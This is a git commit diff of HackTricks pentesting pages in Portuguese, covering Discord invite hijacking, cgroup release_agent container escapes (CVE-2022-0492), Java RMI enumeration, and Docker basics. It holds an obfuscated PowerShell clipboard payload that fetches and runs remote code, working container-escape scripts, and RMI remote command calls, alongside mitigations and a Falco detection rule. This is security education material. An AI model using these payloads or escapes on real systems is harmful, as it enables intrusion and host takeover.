mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/phishing-methodolog
This commit is contained in:
parent
d81f4631d8
commit
a40a6cd304
@ -6,11 +6,11 @@ A vulnerabilidade do sistema de convites do Discord permite que atores de ameaç
|
|||||||
|
|
||||||
## Tipos de Convite e Risco de Sequestro
|
## Tipos de Convite e Risco de Sequestro
|
||||||
|
|
||||||
| Tipo de Convite | Sequestre? | Condição / Comentários |
|
| Tipo de Convite | Sequestreável? | Condição / Comentários |
|
||||||
|-----------------------|-------------|------------------------------------------------------------------------------------------------------------|
|
|-----------------------|----------------|--------------------------------------------------------------------------------------------------------------|
|
||||||
| Link de Convite Temporário | ✅ | Após a expiração, o código se torna disponível e pode ser re-registrado como uma URL personalizada por um servidor com boost. |
|
| Link de Convite Temporário | ✅ | Após a expiração, o código se torna disponível e pode ser re-registrado como uma URL personalizada por um servidor com boost. |
|
||||||
| Link de Convite Permanente | ⚠️ | Se excluído e consistindo apenas de letras minúsculas e dígitos, o código pode se tornar disponível novamente. |
|
| Link de Convite Permanente | ⚠️ | Se excluído e consistindo apenas de letras minúsculas e dígitos, o código pode se tornar disponível novamente. |
|
||||||
| Link Personalizado | ✅ | Se o servidor original perder seu Boost de Nível 3, seu convite personalizado se torna disponível para novo registro. |
|
| Link Personalizado | ✅ | Se o servidor original perder seu Boost de Nível 3, seu convite personalizado se torna disponível para novo registro. |
|
||||||
|
|
||||||
## Etapas de Exploração
|
## Etapas de Exploração
|
||||||
|
|
||||||
@ -24,7 +24,7 @@ A vulnerabilidade do sistema de convites do Discord permite que atores de ameaç
|
|||||||
- Para convites temporários, aguarde até que o convite original expire (ou exclua manualmente se você controlar a origem).
|
- Para convites temporários, aguarde até que o convite original expire (ou exclua manualmente se você controlar a origem).
|
||||||
- Para códigos que contêm letras maiúsculas, a variante em minúsculas pode ser reivindicada imediatamente, embora a redireção só ative após a expiração.
|
- Para códigos que contêm letras maiúsculas, a variante em minúsculas pode ser reivindicada imediatamente, embora a redireção só ative após a expiração.
|
||||||
4. Redirecionamento Silencioso
|
4. Redirecionamento Silencioso
|
||||||
- Usuários que visitam o link antigo são enviados sem problemas para o servidor controlado pelo atacante uma vez que o sequestro esteja ativo.
|
- Usuários que visitam o link antigo são enviados de forma transparente para o servidor controlado pelo atacante uma vez que o sequestro esteja ativo.
|
||||||
|
|
||||||
## Fluxo de Phishing via Servidor Discord
|
## Fluxo de Phishing via Servidor Discord
|
||||||
|
|
||||||
@ -44,7 +44,7 @@ const cmd = `powershell -NoExit -Command "$r='NJjeywEMXp3L3Fmcv02bj5ibpJWZ0NXYw9
|
|||||||
`iex (iwr -Uri $url)"`;
|
`iex (iwr -Uri $url)"`;
|
||||||
navigator.clipboard.writeText(cmd);
|
navigator.clipboard.writeText(cmd);
|
||||||
```
|
```
|
||||||
Esta abordagem evita downloads diretos de arquivos e aproveita elementos de interface familiar para reduzir a suspeita do usuário.
|
Essa abordagem evita downloads diretos de arquivos e aproveita elementos de UI familiares para reduzir a suspeita do usuário.
|
||||||
|
|
||||||
## Mitigações
|
## Mitigações
|
||||||
|
|
||||||
@ -55,7 +55,7 @@ Esta abordagem evita downloads diretos de arquivos e aproveita elementos de inte
|
|||||||
|
|
||||||
## Referências
|
## Referências
|
||||||
|
|
||||||
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/
|
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – [https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/](https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/)
|
||||||
- Discord Custom Invite Link Documentation – https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link
|
- Discord Custom Invite Link Documentation – [https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link](https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
@ -4,7 +4,9 @@
|
|||||||
|
|
||||||
**Para mais detalhes, consulte o** [**post original do blog**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Este é apenas um resumo:
|
**Para mais detalhes, consulte o** [**post original do blog**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Este é apenas um resumo:
|
||||||
|
|
||||||
Original PoC:
|
---
|
||||||
|
|
||||||
|
## PoC Clássica (2019)
|
||||||
```shell
|
```shell
|
||||||
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
|
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
|
||||||
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
|
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
|
||||||
@ -12,38 +14,108 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
|||||||
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
|
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
|
||||||
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
|
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
|
||||||
```
|
```
|
||||||
A prova de conceito (PoC) demonstra um método para explorar cgroups criando um arquivo `release_agent` e acionando sua invocação para executar comandos arbitrários no host do contêiner. Aqui está uma análise das etapas envolvidas:
|
A PoC explora o recurso **cgroup-v1** `release_agent`: quando a última tarefa de um cgroup que tem `notify_on_release=1` sai, o kernel (nos **namespaces iniciais no host**) executa o programa cujo caminho está armazenado no arquivo gravável `release_agent`. Como essa execução acontece com **plenos privilégios de root no host**, obter acesso de gravação ao arquivo é suficiente para uma fuga de container.
|
||||||
|
|
||||||
|
### Passo a passo curto e legível
|
||||||
|
|
||||||
|
1. **Preparar um novo cgroup**
|
||||||
|
|
||||||
1. **Preparar o Ambiente:**
|
|
||||||
- Um diretório `/tmp/cgrp` é criado para servir como um ponto de montagem para o cgroup.
|
|
||||||
- O controlador de cgroup RDMA é montado neste diretório. Em caso de ausência do controlador RDMA, sugere-se usar o controlador de cgroup `memory` como alternativa.
|
|
||||||
```shell
|
|
||||||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
|
||||||
```
|
|
||||||
2. **Configurar o Cgroup Filho:**
|
|
||||||
- Um cgroup filho chamado "x" é criado dentro do diretório cgroup montado.
|
|
||||||
- As notificações são ativadas para o cgroup "x" escrevendo 1 no seu arquivo notify_on_release.
|
|
||||||
```shell
|
```shell
|
||||||
|
mkdir /tmp/cgrp
|
||||||
|
mount -t cgroup -o rdma cgroup /tmp/cgrp # ou –o memory
|
||||||
|
mkdir /tmp/cgrp/x
|
||||||
echo 1 > /tmp/cgrp/x/notify_on_release
|
echo 1 > /tmp/cgrp/x/notify_on_release
|
||||||
```
|
```
|
||||||
3. **Configurar o Agente de Liberação:**
|
|
||||||
- O caminho do contêiner no host é obtido a partir do arquivo /etc/mtab.
|
2. **Apontar `release_agent` para um script controlado pelo atacante no host**
|
||||||
- O arquivo release_agent do cgroup é então configurado para executar um script chamado /cmd localizado no caminho do host adquirido.
|
|
||||||
```shell
|
```shell
|
||||||
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
|
||||||
echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
||||||
```
|
```
|
||||||
4. **Criar e Configurar o Script /cmd:**
|
|
||||||
- O script /cmd é criado dentro do contêiner e é configurado para executar ps aux, redirecionando a saída para um arquivo chamado /output no contêiner. O caminho completo de /output no host é especificado.
|
3. **Dropar o payload**
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
echo '#!/bin/sh' > /cmd
|
cat <<'EOF' > /cmd
|
||||||
echo "ps aux > $host_path/output" >> /cmd
|
#!/bin/sh
|
||||||
chmod a+x /cmd
|
ps aux > "$host_path/output"
|
||||||
|
EOF
|
||||||
|
chmod +x /cmd
|
||||||
```
|
```
|
||||||
5. **Acionar o Ataque:**
|
|
||||||
- Um processo é iniciado dentro do cgroup filho "x" e é imediatamente terminado.
|
4. **Acionar o notificador**
|
||||||
- Isso aciona o `release_agent` (o script /cmd), que executa ps aux no host e grava a saída em /output dentro do contêiner.
|
|
||||||
```shell
|
```shell
|
||||||
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs" # adicionar a nós mesmos e sair imediatamente
|
||||||
|
cat /output # agora contém processos do host
|
||||||
```
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Vulnerabilidade do kernel de 2022 – CVE-2022-0492
|
||||||
|
|
||||||
|
Em fevereiro de 2022, Yiqi Sun e Kevin Wang descobriram que **o kernel *não* verificava capacidades quando um processo escrevia em `release_agent` no cgroup-v1** (função `cgroup_release_agent_write`).
|
||||||
|
|
||||||
|
Efetivamente, **qualquer processo que pudesse montar uma hierarquia de cgroup (por exemplo, via `unshare -UrC`) poderia escrever um caminho arbitrário em `release_agent` sem `CAP_SYS_ADMIN` no *namespace* de usuário *inicial***. Em um container Docker/Kubernetes configurado por padrão e rodando como root, isso permitiu:
|
||||||
|
|
||||||
|
* escalonamento de privilégios para root no host; ↗
|
||||||
|
* fuga de container sem que o container fosse privilegiado.
|
||||||
|
|
||||||
|
A falha foi atribuída como **CVE-2022-0492** (CVSS 7.8 / Alto) e corrigida nas seguintes versões do kernel (e todas as posteriores):
|
||||||
|
|
||||||
|
* 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299.
|
||||||
|
|
||||||
|
Commit do patch: `1e85af15da28 "cgroup: Fix permission checking"`.
|
||||||
|
|
||||||
|
### Exploit mínimo dentro de um container
|
||||||
|
```bash
|
||||||
|
# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside
|
||||||
|
apk add --no-cache util-linux # provides unshare
|
||||||
|
unshare -UrCm sh -c '
|
||||||
|
mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c;
|
||||||
|
echo 1 > /tmp/c/notify_on_release;
|
||||||
|
echo /proc/self/exe > /tmp/c/release_agent; # will exec /bin/busybox from host
|
||||||
|
(sleep 1; echo 0 > /tmp/c/cgroup.procs) &
|
||||||
|
while true; do sleep 1; done
|
||||||
|
'
|
||||||
|
```
|
||||||
|
Se o kernel for vulnerável, o binário busybox do *host* é executado com acesso total de root.
|
||||||
|
|
||||||
|
### Dureza e Mitigações
|
||||||
|
|
||||||
|
* **Atualize o kernel** (≥ versões acima). O patch agora requer `CAP_SYS_ADMIN` no *namespace* de usuário *inicial* para escrever em `release_agent`.
|
||||||
|
* **Prefira cgroup-v2** – a hierarquia unificada **removeu completamente o recurso `release_agent`**, eliminando essa classe de escapes.
|
||||||
|
* **Desative namespaces de usuário não privilegiados** em hosts que não precisam deles:
|
||||||
|
```shell
|
||||||
|
sysctl -w kernel.unprivileged_userns_clone=0
|
||||||
|
```
|
||||||
|
* **Controle de acesso obrigatório**: Políticas do AppArmor/SELinux que negam `mount`, `openat` em `/sys/fs/cgroup/**/release_agent`, ou removem `CAP_SYS_ADMIN`, impedem a técnica mesmo em kernels vulneráveis.
|
||||||
|
* **Bind-mask somente leitura** para todos os arquivos `release_agent` (exemplo de script Palo Alto):
|
||||||
|
```shell
|
||||||
|
for f in $(find /sys/fs/cgroup -name release_agent); do
|
||||||
|
mount --bind -o ro /dev/null "$f"
|
||||||
|
done
|
||||||
|
```
|
||||||
|
|
||||||
|
## Detecção em tempo de execução
|
||||||
|
|
||||||
|
[`Falco`](https://falco.org/) inclui uma regra embutida desde a v0.32:
|
||||||
|
```yaml
|
||||||
|
- rule: Detect release_agent File Container Escapes
|
||||||
|
desc: Detect an attempt to exploit a container escape using release_agent
|
||||||
|
condition: open_write and container and fd.name endswith release_agent and
|
||||||
|
(user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and
|
||||||
|
thread.cap_effective contains CAP_SYS_ADMIN
|
||||||
|
output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)"
|
||||||
|
priority: CRITICAL
|
||||||
|
tags: [container, privilege_escalation]
|
||||||
|
```
|
||||||
|
A regra é acionada em qualquer tentativa de escrita em `*/release_agent` de um processo dentro de um contêiner que ainda possui `CAP_SYS_ADMIN`.
|
||||||
|
|
||||||
|
## Referências
|
||||||
|
|
||||||
|
* [Unit 42 – CVE-2022-0492: container escape via cgroups](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/) – análise detalhada e script de mitigação.
|
||||||
|
* [Sysdig Falco rule & detection guide](https://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig/)
|
||||||
|
|
||||||
{{#include ../../../../banners/hacktricks-training.md}}
|
{{#include ../../../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
## Informações Básicas
|
## Informações Básicas
|
||||||
|
|
||||||
_Java Remote Method Invocation_, ou _Java RMI_, é um mecanismo _RPC_ orientado a objetos que permite que um objeto localizado em uma _máquina virtual Java_ chame métodos em um objeto localizado em outra _máquina virtual Java_. Isso permite que os desenvolvedores escrevam aplicações distribuídas usando um paradigma orientado a objetos. Uma breve introdução ao _Java RMI_ de uma perspectiva ofensiva pode ser encontrada [nesta palestra do blackhat](https://youtu.be/t_aw1mDNhzI?t=202).
|
_Java Remote Method Invocation_, ou _Java RMI_, é um mecanismo _RPC_ orientado a objetos que permite que um objeto localizado em uma _Java virtual machine_ chame métodos em um objeto localizado em outra _Java virtual machine_. Isso permite que os desenvolvedores escrevam aplicações distribuídas usando um paradigma orientado a objetos. Uma breve introdução ao _Java RMI_ de uma perspectiva ofensiva pode ser encontrada [nesta palestra do blackhat](https://youtu.be/t_aw1mDNhzI?t=202).
|
||||||
|
|
||||||
**Porta padrão:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
|
**Porta padrão:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
|
||||||
```
|
```
|
||||||
@ -27,7 +27,7 @@ Para simplificar, _Java RMI_ permite que um desenvolvedor torne um _objeto Java_
|
|||||||
|
|
||||||
O primeiro desafio é resolvido pelo _RMI registry_, que é basicamente um serviço de nomeação para _Java RMI_. O _RMI registry_ em si também é um _serviço RMI_, mas a interface implementada e o `ObjID` são fixos e conhecidos por todos os clientes _RMI_. Isso permite que os clientes _RMI_ consumam o _RMI registry_ apenas conhecendo a porta _TCP_ correspondente.
|
O primeiro desafio é resolvido pelo _RMI registry_, que é basicamente um serviço de nomeação para _Java RMI_. O _RMI registry_ em si também é um _serviço RMI_, mas a interface implementada e o `ObjID` são fixos e conhecidos por todos os clientes _RMI_. Isso permite que os clientes _RMI_ consumam o _RMI registry_ apenas conhecendo a porta _TCP_ correspondente.
|
||||||
|
|
||||||
Quando os desenvolvedores querem tornar seus _objetos Java_ disponíveis na rede, geralmente os vinculam a um _RMI registry_. O _registry_ armazena todas as informações necessárias para se conectar ao objeto (endereço IP, porta de escuta, classe ou interface implementada e o valor `ObjID`) e as torna disponíveis sob um nome legível por humanos (o _nome vinculado_). Clientes que desejam consumir o _serviço RMI_ pedem ao _RMI registry_ o _nome vinculado_ correspondente e o registry retorna todas as informações necessárias para a conexão. Assim, a situação é basicamente a mesma que com um serviço _DNS_ comum. A listagem a seguir mostra um pequeno exemplo:
|
Quando os desenvolvedores querem tornar seus _objetos Java_ disponíveis na rede, geralmente os vinculam a um _RMI registry_. O _registry_ armazena todas as informações necessárias para se conectar ao objeto (endereço IP, porta de escuta, classe ou interface implementada e o valor `ObjID`) e as torna disponíveis sob um nome legível por humanos (o _bound name_). Clientes que desejam consumir o _serviço RMI_ pedem ao _RMI registry_ o _bound name_ correspondente e o registry retorna todas as informações necessárias para a conexão. Assim, a situação é basicamente a mesma que com um serviço _DNS_ comum. A listagem a seguir mostra um pequeno exemplo:
|
||||||
```java
|
```java
|
||||||
import java.rmi.registry.Registry;
|
import java.rmi.registry.Registry;
|
||||||
import java.rmi.registry.LocateRegistry;
|
import java.rmi.registry.LocateRegistry;
|
||||||
@ -51,7 +51,7 @@ e.printStackTrace();
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
O segundo dos desafios mencionados acima é resolvido pelo _Distributed Garbage Collector_ (_DGC_). Este é outro _RMI service_ com um valor `ObjID` bem conhecido e está disponível em basicamente cada _RMI endpoint_. Quando um _RMI client_ começa a usar um _RMI service_, ele envia uma informação ao _DGC_ de que o _remote object_ correspondente está em uso. O _DGC_ pode então rastrear a contagem de referências e é capaz de limpar objetos não utilizados.
|
O segundo dos desafios mencionados acima é resolvido pelo _Distributed Garbage Collector_ (_DGC_). Este é outro _RMI service_ com um valor `ObjID` bem conhecido e está disponível em basicamente cada _RMI endpoint_. Quando um _RMI client_ começa a usar um _RMI service_, ele envia uma informação para o _DGC_ de que o correspondente _remote object_ está em uso. O _DGC_ pode então rastrear a contagem de referências e é capaz de limpar objetos não utilizados.
|
||||||
|
|
||||||
Juntamente com o _Activation System_ obsoleto, estes são os três componentes padrão do _Java RMI_:
|
Juntamente com o _Activation System_ obsoleto, estes são os três componentes padrão do _Java RMI_:
|
||||||
|
|
||||||
@ -80,7 +80,7 @@ $ rmg enum 172.17.0.2 9010
|
|||||||
[+]
|
[+]
|
||||||
[+] RMI server codebase enumeration:
|
[+] RMI server codebase enumeration:
|
||||||
[+]
|
[+]
|
||||||
[+] - http://iinsecure.dev/well-hidden-development-folder/
|
[+] - [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/)
|
||||||
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
|
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
|
||||||
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
|
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
|
||||||
[+]
|
[+]
|
||||||
@ -125,7 +125,7 @@ $ rmg enum 172.17.0.2 9010
|
|||||||
```
|
```
|
||||||
A saída da ação de enumeração é explicada em mais detalhes nas [páginas de documentação](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) do projeto. Dependendo do resultado, você deve tentar verificar as vulnerabilidades identificadas.
|
A saída da ação de enumeração é explicada em mais detalhes nas [páginas de documentação](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) do projeto. Dependendo do resultado, você deve tentar verificar as vulnerabilidades identificadas.
|
||||||
|
|
||||||
Os valores `ObjID` exibidos pelo _remote-method-guesser_ podem ser usados para determinar o tempo de atividade do serviço. Isso pode permitir a identificação de outras vulnerabilidades:
|
Os valores `ObjID` exibidos pelo _remote-method-guesser_ podem ser usados para determinar o tempo de atividade do serviço. Isso pode permitir identificar outras vulnerabilidades:
|
||||||
```
|
```
|
||||||
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
|
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
|
||||||
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
|
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
|
||||||
@ -170,7 +170,7 @@ $ rmg guess 172.17.0.2 9010
|
|||||||
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
|
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
|
||||||
[+] --> String login(java.util.HashMap dummy1)
|
[+] --> String login(java.util.HashMap dummy1)
|
||||||
```
|
```
|
||||||
Os métodos identificados podem ser chamados assim:
|
Métodos identificados podem ser chamados assim:
|
||||||
```
|
```
|
||||||
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
|
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
|
||||||
[+] uid=0(root) gid=0(root) groups=0(root)
|
[+] uid=0(root) gid=0(root) groups=0(root)
|
||||||
@ -205,7 +205,7 @@ Mais informações podem ser encontradas nestes artigos:
|
|||||||
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
||||||
- [rmiscout](https://bishopfox.com/blog/rmiscout)
|
- [rmiscout](https://bishopfox.com/blog/rmiscout)
|
||||||
|
|
||||||
Além de adivinhar, você também deve procurar em motores de busca ou _GitHub_ pela interface ou até mesmo pela implementação de um serviço _RMI_ encontrado. O _bound name_ e o nome da classe ou interface implementada podem ser úteis aqui.
|
Além de adivinhações, você também deve procurar em motores de busca ou _GitHub_ pela interface ou até mesmo pela implementação de um serviço _RMI_ encontrado. O _bound name_ e o nome da classe ou interface implementada podem ser úteis aqui.
|
||||||
|
|
||||||
## Interfaces Conhecidas
|
## Interfaces Conhecidas
|
||||||
|
|
||||||
@ -238,8 +238,8 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
|
|||||||
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
|
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
|
||||||
[+]
|
[+]
|
||||||
[+] References:
|
[+] References:
|
||||||
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
|
[+] - [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html)
|
||||||
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
|
[+] - [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi)
|
||||||
[+]
|
[+]
|
||||||
[+] Vulnerabilities:
|
[+] Vulnerabilities:
|
||||||
[+]
|
[+]
|
||||||
@ -253,7 +253,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
|
|||||||
[+] is therefore most of the time equivalent to remote code execution.
|
[+] is therefore most of the time equivalent to remote code execution.
|
||||||
[+]
|
[+]
|
||||||
[+] References:
|
[+] References:
|
||||||
[+] - https://github.com/qtc-de/beanshooter
|
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
|
||||||
[+]
|
[+]
|
||||||
[+] -----------------------------------
|
[+] -----------------------------------
|
||||||
[+] Name:
|
[+] Name:
|
||||||
@ -266,23 +266,23 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
|
|||||||
[+] establish a working JMX connection, you can also perform deserialization attacks.
|
[+] establish a working JMX connection, you can also perform deserialization attacks.
|
||||||
[+]
|
[+]
|
||||||
[+] References:
|
[+] References:
|
||||||
[+] - https://github.com/qtc-de/beanshooter
|
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
|
||||||
```
|
```
|
||||||
## Shodan
|
## Shodan
|
||||||
|
|
||||||
- `port:1099 java`
|
- `port:1099 java`
|
||||||
|
|
||||||
## Ferramentas
|
## Tools
|
||||||
|
|
||||||
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
||||||
- [rmiscout](https://github.com/BishopFox/rmiscout)
|
- [rmiscout](https://github.com/BishopFox/rmiscout)
|
||||||
- [BaRMIe](https://github.com/NickstaDB/BaRMIe)
|
- [BaRMIe](https://github.com/NickstaDB/BaRMIe)
|
||||||
|
|
||||||
## Referências
|
## References
|
||||||
|
|
||||||
- [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
- [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
||||||
|
|
||||||
## Comandos Automáticos HackTricks
|
## HackTricks Comandos Automáticos
|
||||||
```
|
```
|
||||||
Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
|
Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
|
||||||
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
|
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
|
||||||
|
|||||||
@ -10,7 +10,7 @@ Docker é a **plataforma de ponta** na **indústria de containerização**, lide
|
|||||||
|
|
||||||
#### Arquitetura básica do docker
|
#### Arquitetura básica do docker
|
||||||
|
|
||||||
- [**containerd**](http://containerd.io): Este é um **runtime central** para containers, encarregado da **gestão abrangente do ciclo de vida de um container**. Isso envolve o manuseio de **transferência e armazenamento de imagens**, além de supervisionar a **execução, monitoramento e rede** de containers. **Mais detalhes** sobre containerd são **explorados mais adiante**.
|
- [**containerd**](http://containerd.io): Este é um **runtime central** para containers, encarregado da **gestão abrangente do ciclo de vida de um container**. Isso envolve o manuseio de **transferência e armazenamento de imagens**, além de supervisionar a **execução, monitoramento e rede** de containers. **Mais detalhes** sobre containerd são **explorados mais a fundo**.
|
||||||
- O **container-shim** desempenha um papel crítico como um **intermediário** no manuseio de **containers sem cabeça**, assumindo de forma contínua a partir do **runc** após os containers serem inicializados.
|
- O **container-shim** desempenha um papel crítico como um **intermediário** no manuseio de **containers sem cabeça**, assumindo de forma contínua a partir do **runc** após os containers serem inicializados.
|
||||||
- [**runc**](http://runc.io): Reconhecido por suas capacidades de **runtime de container leve e universal**, runc está alinhado com o **padrão OCI**. É utilizado pelo containerd para **iniciar e gerenciar containers** de acordo com as **diretrizes OCI**, tendo evoluído do original **libcontainer**.
|
- [**runc**](http://runc.io): Reconhecido por suas capacidades de **runtime de container leve e universal**, runc está alinhado com o **padrão OCI**. É utilizado pelo containerd para **iniciar e gerenciar containers** de acordo com as **diretrizes OCI**, tendo evoluído do original **libcontainer**.
|
||||||
- [**grpc**](http://www.grpc.io) é essencial para **facilitar a comunicação** entre containerd e o **docker-engine**, garantindo uma **interação eficiente**.
|
- [**grpc**](http://www.grpc.io) é essencial para **facilitar a comunicação** entre containerd e o **docker-engine**, garantindo uma **interação eficiente**.
|
||||||
@ -45,7 +45,7 @@ docker system prune -a
|
|||||||
|
|
||||||
Uma decisão de design chave é que **Containerd não lida com redes**. A rede é considerada um elemento crítico em sistemas distribuídos, com complexidades como Redes Definidas por Software (SDN) e descoberta de serviços que variam significativamente de uma plataforma para outra. Portanto, o Containerd deixa os aspectos de rede para serem gerenciados pelas plataformas que suporta.
|
Uma decisão de design chave é que **Containerd não lida com redes**. A rede é considerada um elemento crítico em sistemas distribuídos, com complexidades como Redes Definidas por Software (SDN) e descoberta de serviços que variam significativamente de uma plataforma para outra. Portanto, o Containerd deixa os aspectos de rede para serem gerenciados pelas plataformas que suporta.
|
||||||
|
|
||||||
Enquanto **Docker utiliza Containerd** para executar contêineres, é importante notar que o Containerd suporta apenas um subconjunto das funcionalidades do Docker. Especificamente, o Containerd não possui as capacidades de gerenciamento de rede presentes no Docker e não suporta a criação de swarms do Docker diretamente. Essa distinção destaca o papel focado do Containerd como um ambiente de execução de contêiner, delegando funcionalidades mais especializadas para as plataformas com as quais se integra.
|
Enquanto **Docker utiliza Containerd** para executar contêineres, é importante notar que o Containerd suporta apenas um subconjunto das funcionalidades do Docker. Especificamente, o Containerd não possui as capacidades de gerenciamento de rede presentes no Docker e não suporta a criação de swarms do Docker diretamente. Essa distinção destaca o papel focado do Containerd como um ambiente de execução de contêiner, delegando funcionalidades mais especializadas às plataformas com as quais se integra.
|
||||||
```bash
|
```bash
|
||||||
#Containerd CLI
|
#Containerd CLI
|
||||||
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
|
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
|
||||||
@ -70,12 +70,12 @@ Podman é projetado para ser compatível com a API do Docker, permitindo o uso d
|
|||||||
**Principais Diferenças**
|
**Principais Diferenças**
|
||||||
|
|
||||||
- **Arquitetura**: Ao contrário do modelo cliente-servidor do Docker com um daemon em segundo plano, o Podman opera sem um daemon. Esse design significa que os contêineres são executados com os privilégios do usuário que os inicia, aumentando a segurança ao eliminar a necessidade de acesso root.
|
- **Arquitetura**: Ao contrário do modelo cliente-servidor do Docker com um daemon em segundo plano, o Podman opera sem um daemon. Esse design significa que os contêineres são executados com os privilégios do usuário que os inicia, aumentando a segurança ao eliminar a necessidade de acesso root.
|
||||||
- **Integração com Systemd**: O Podman se integra ao **systemd** para gerenciar contêineres, permitindo a gestão de contêineres através de unidades do systemd. Isso contrasta com o uso do systemd pelo Docker, que é principalmente para gerenciar o processo do daemon do Docker.
|
- **Integração com Systemd**: O Podman se integra ao **systemd** para gerenciar contêineres, permitindo o gerenciamento de contêineres por meio de unidades do systemd. Isso contrasta com o uso do systemd pelo Docker, que é principalmente para gerenciar o processo do daemon do Docker.
|
||||||
- **Contêineres Sem Root**: Uma característica fundamental do Podman é sua capacidade de executar contêineres sob os privilégios do usuário que os inicia. Essa abordagem minimiza os riscos associados a brechas em contêineres, garantindo que os atacantes obtenham apenas os privilégios do usuário comprometido, e não acesso root.
|
